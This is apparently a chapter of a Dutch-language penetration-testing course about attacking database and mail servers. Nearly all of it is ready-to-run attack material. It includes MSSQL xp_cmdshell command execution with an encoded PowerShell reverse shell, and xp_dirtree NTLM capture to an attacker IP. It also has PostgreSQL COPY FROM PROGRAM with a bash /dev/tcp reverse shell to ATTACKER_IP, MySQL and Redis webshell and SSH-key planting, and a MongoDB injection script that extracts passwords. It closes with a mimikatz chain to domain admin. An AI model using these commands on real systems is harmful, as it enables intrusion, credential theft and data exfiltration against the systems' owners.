CertifiedHacker

Database en Mail Server Aanvallen

MSSQL xp_cmdshell, MySQL UDF, PostgreSQL command execution, Redis ongeauthenticeerde toegang, SNMP enumeration, Exchange en SMTP aanvallen.

Database en Mail Server Aanvallen

De kroonjuwelen

Als je een netwerk binnendringt, is de database het einddoel. Niet de webserver, niet de fileserver, niet de printer in de gang die al maanden “papier bijvullen” knippert. De database. Daar staat de klantdata, de financiële informatie, de credentials, de bedrijfsgeheimen. Het is de kluis in het midden van het gebouw, en alles wat we tot nu toe hebben gedaan — de verkenning, de initiële toegang, de privilege escalatie, het laterale bewegen — is het pad ernaartoe.

Maar databases zijn niet alleen doelen. Ze zijn ook springplanken. Een MSSQL-server met xp_cmdshell is een command-and-control kanaal. Een PostgreSQL-server met COPY ... FROM PROGRAM is een remote shell. Een Redis-instance zonder wachtwoord is een SSH-key writer. In de juiste (of verkeerde) handen is een database niet alleen een bron van data, maar een bron van code execution.


Microsoft SQL Server

MSSQL is de database van het Windows-ecosysteem. Als je in een Active Directory-omgeving zit, is de kans groot dat ergens een MSSQL-server draait — achter SharePoint, achter de ERP-applicatie, achter dat custom .NET-systeem dat in 2008 is gebouwd en sindsdien alleen is bijgewerkt met gebeden.

Connectie en enumeratie

# CrackMapExec: test credentials tegen MSSQL
crackmapexec mssql 10.10.10.0/24 -u user -p password

# Impacket mssqlclient: interactieve SQL shell
mssqlclient.py domain/user:password@target -windows-auth

# Nmap: MSSQL service detectie
nmap -sV -p 1433 --script ms-sql-info target

xp_cmdshell: Remote Code Execution via SQL

Dit is de heilige graal van MSSQL-exploitatie. xp_cmdshell is een opgeslagen procedure die systeemcommando’s uitvoert op de database-server. Het staat standaard uit, maar als je sysadmin-rechten hebt — en dat heb je vaker dan je denkt — kun je het inschakelen.

-- Controleer of xp_cmdshell al actief is
EXEC xp_cmdshell 'whoami';

-- Zo niet: activeer het
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

-- Nu heb je RCE
EXEC xp_cmdshell 'whoami';
-- Output: nt service\mssqlserver

EXEC xp_cmdshell 'ipconfig';
EXEC xp_cmdshell 'dir C:\Users\';
EXEC xp_cmdshell 'type C:\Users\Administrator\Desktop\flag.txt';

-- Reverse shell
EXEC xp_cmdshell 'powershell -e JABjAGw...';

Linked Servers: laterale beweging via databases

-- Ontdek linked servers
EXEC sp_linkedservers;
SELECT * FROM sys.servers;

-- Query uitvoeren op linked server
SELECT * FROM OPENQUERY("LINKED-SERVER", 'SELECT @@servername');

-- xp_cmdshell via linked server (double-hop)
EXEC ('EXEC sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [LINKED-SERVER];
EXEC ('EXEC xp_cmdshell ''whoami'';') AT [LINKED-SERVER];

MSSQL credentials stelen

-- Hashes uit de master database
SELECT name, password_hash FROM master.sys.sql_logins;

-- Impersonation
EXECUTE AS LOGIN = 'sa';
SELECT SYSTEM_USER;    -- Wie ben je nu?
EXEC xp_cmdshell 'whoami';

-- NTLM relay via xp_dirtree
EXEC xp_dirtree '\\attacker-ip\share';
-- Dit stuurt de NTLM-hash van het MSSQL service account naar je Responder

MySQL en MariaDB

# Brute force
hydra -l root -P /usr/share/wordlists/rockyou.txt target mysql

# MySQL shell
mysql -u root -p -h target

# Versie en configuratie
SELECT @@version;
SELECT @@datadir;
SHOW VARIABLES LIKE '%secure_file_priv%';  -- Waar mag je bestanden lezen/schrijven?

Bestanden lezen en schrijven

-- Bestand lezen (als secure_file_priv het toestaat)
SELECT LOAD_FILE('/etc/passwd');
SELECT LOAD_FILE('/var/www/html/config.php');

-- Bestand schrijven (webshell)
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';

-- Als secure_file_priv leeg is: geen restricties
-- Als het een pad bevat: alleen binnen dat pad
-- Als het NULL is: geen file operaties mogelijk

UDF: User Defined Functions voor RCE

# UDF (User Defined Functions) zijn gecompileerde bibliotheken
# die MySQL kan laden. Met een kwaadaardige UDF krijg je RCE.

# Stap 1: Vind de plugin directory
mysql> SELECT @@plugin_dir;
# /usr/lib/mysql/plugin/

# Stap 2: Upload de UDF library
# (via SQL of een andere schrijfmethode)

# Stap 3: Registreer de functie
CREATE FUNCTION sys_exec RETURNS INT SONAME 'udf.so';

# Stap 4: Voer commando's uit
SELECT sys_exec('id');
SELECT sys_exec('cat /etc/shadow');

PostgreSQL

PostgreSQL heeft een reputatie als de “veilige” database, en dat is deels terecht. De standaardconfiguratie is restrictiever dan MySQL of MSSQL. Maar als je er eenmaal in zit met de juiste rechten, zijn de mogelijkheden minstens zo krachtig.

# Connectie
psql -U postgres -h target

# Of via Metasploit
use auxiliary/scanner/postgres/postgres_login

Command Execution via COPY

-- Direct command execution (PostgreSQL 9.3+, als superuser)
CREATE TABLE cmd_exec(output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;

-- Reverse shell
COPY cmd_exec FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"';

-- Large Object methode (oudere versies)
SELECT lo_import('/etc/passwd');
SELECT lo_get(LOID);

Redis: de database zonder slot

Redis is in-memory, snel, en — in de standaardconfiguratie — volstrekt onbeveiligd. Geen authenticatie, geen encryptie, toegankelijk op poort 6379. Het is als een kluis die je vraagt: “Wat is het wachtwoord?” en als je zegt “Ik heb er geen” antwoordt: “Geen probleem, kom maar binnen.”

# Test ongeauthenticeerde toegang
redis-cli -h target
> INFO
> KEYS *
> CONFIG GET *

# SSH key schrijven (RCE via SSH)
# Stap 1: Genereer SSH key
ssh-keygen -t rsa -f redis_key
echo -e "\n\n" > padding.txt
cat padding.txt redis_key.pub padding.txt > payload.txt

# Stap 2: Schrijf key naar Redis
cat payload.txt | redis-cli -h target -x set ssh_key

# Stap 3: Dump naar authorized_keys
redis-cli -h target config set dir /root/.ssh
redis-cli -h target config set dbfilename "authorized_keys"
redis-cli -h target save

# Stap 4: SSH als root
ssh -i redis_key root@target

# Webshell schrijven (als Redis als root draait en je het webroot pad kent)
redis-cli -h target config set dir /var/www/html
redis-cli -h target config set dbfilename "shell.php"
redis-cli -h target set payload '<?php system($_GET["cmd"]); ?>'
redis-cli -h target save

SNMP Exploitation

# Community string brute force
onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target

# SNMP walk (als je de community string hebt)
snmpwalk -v2c -c public target

# Interessante OIDs
snmpwalk -v2c -c public target 1.3.6.1.2.1.25.4.2.1.2    # Draaiende processen
snmpwalk -v2c -c public target 1.3.6.1.4.1.77.1.2.25      # Gebruikersnamen
snmpwalk -v2c -c public target 1.3.6.1.2.1.25.6.3.1.2      # Geinstalleerde software
snmpwalk -v2c -c public target 1.3.6.1.2.1.6.13.1.3        # Open TCP poorten

# SNMP v3 met credentials
snmpwalk -v3 -u username -a SHA -A authpass -x AES -X privpass -l authPriv target

Exchange en SMTP

Exchange aanvallen

# Autodiscover: configuratie-informatie lekken
curl -k https://autodiscover.target.com/autodiscover/autodiscover.xml \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0"?><Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006"><Request><EMailAddress>user@target.com</EMailAddress><AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema></Request></Autodiscover>'

# OWA brute force
ruler --domain target.com brute --users users.txt --passwords passwords.txt

# MailSniper: mailbox doorzoeken na toegang
Invoke-SelfSearch -Mailbox user@target.com -Terms "password","wachtwoord","credentials"

# NTLM relay via Exchange (PrivExchange)
# Exchange authenticates naar de aanvaller via NTLM
# Die NTLM-auth wordt gerelayd naar de Domain Controller
ntlmrelayx.py -t ldap://dc.target.com --escalate-user attacker

SMTP enumeration

# Gebruiker enumeratie via VRFY
smtp-user-enum -M VRFY -U users.txt -t target

# Via RCPT TO
smtp-user-enum -M RCPT -U users.txt -t target -D target.com

# Open relay test
swaks --to victim@target.com --from ceo@target.com \
  --server target --body "Please wire $50,000 to account 12345"
# Als dit lukt zonder authenticatie: open relay = phishing vector

NoSQL Database Aanvallen

MongoDB

MongoDB is de meest populaire NoSQL-database, en ook de meest voorkomende in pentest-omgevingen. De standaardconfiguratie (vóór versie 3.6) had geen authenticatie — iedereen die het netwerk kon bereiken, had volledige toegang.

# Test ongeauthenticeerde toegang
mongosh --host target --port 27017
# Of met nmap
nmap -sV -p 27017 --script mongodb-info target

# Als je erin komt:
show dbs
use admin
db.getUsers()                  # Alle gebruikers
use target_app
show collections
db.users.find().pretty()       # Alle gebruikersdata

# Operator injection (vanuit een webapplicatie)
# Normaal login-request:
{"username": "admin", "password": "test"}

# Injection:
{"username": "admin", "password": {"$gt": ""}}
# Vertaalt naar: db.users.find({username: "admin", password: {$gt: ""}})
# $gt: "" matcht elk niet-leeg wachtwoord

# Regex-based wachtwoord extractie:
import requests
password = ""
while True:
    found = False
    for c in "abcdefghijklmnopqrstuvwxyz0123456789":
        resp = requests.post("http://target/api/login", json={
            "username": "admin",
            "password": {"$regex": f"^{password}{c}"}
        })
        if "success" in resp.text:
            password += c
            found = True
            break
    if not found:
        break
print(f"Password: {password}")

CouchDB

# CouchDB HTTP API (standaard onbeveiligd)
curl http://target:5984/
curl http://target:5984/_all_dbs
curl http://target:5984/_users/_all_docs?include_docs=true

# Admin aanmaken (als er geen admin is)
curl -X PUT http://target:5984/_config/admins/hacker -d '"password123"'

Post-exploitatie: van database naar domein

Een database-compromittering is zelden het einddoel. Het is een springplank. Hier zijn de paden van database naar bredere compromittering:

Database gecompromitteerd
   |
   +-- Credential harvesting
   |     +-- Wachtwoord-hashes uit user tables
   |     +-- Connection strings naar andere databases
   |     +-- API-keys en tokens in configuratie-tables
   |     +-- Plaintext wachtwoorden (ja, dat komt voor)
   |
   +-- Command execution
   |     +-- MSSQL: xp_cmdshell
   |     +-- PostgreSQL: COPY FROM PROGRAM
   |     +-- MySQL: UDF of INTO OUTFILE (webshell)
   |     +-- Redis: SSH key schrijven
   |
   +-- Laterale beweging
   |     +-- MSSQL linked servers
   |     +-- Wachtwoord-hergebruik (dezelfde credentials op andere systemen)
   |     +-- NTLM relay via xp_dirtree
   |
   +-- Data exfiltratie
         +-- Klantgegevens, PII
         +-- Financiele data
         +-- Bedrijfsgeheimen
         +-- Credentials van andere systemen

Praktisch: van MSSQL naar Domain Admin

# Stap 1: xp_cmdshell voor RCE
EXEC xp_cmdshell 'whoami'
# Output: nt service\mssqlserver

# Stap 2: Controleer privileges
EXEC xp_cmdshell 'whoami /priv'
# SeImpersonatePrivilege? Potato aanval mogelijk!

# Stap 3: Potato attack (PrintSpoofer/JuicyPotato/GodPotato)
EXEC xp_cmdshell 'PrintSpoofer.exe -i -c "powershell -e JABjA..."'
# Nu draai je als SYSTEM

# Stap 4: Dump credentials
EXEC xp_cmdshell 'mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"'

# Stap 5: Lateral movement met gevonden credentials
# Als je een Domain Admin-hash hebt: pass-the-hash naar de DC
# Als je een service account hebt: Kerberoasting of Silver Ticket

Op de hoogte blijven?

Ontvang nieuwe hoofdstukken en updates per e-mail.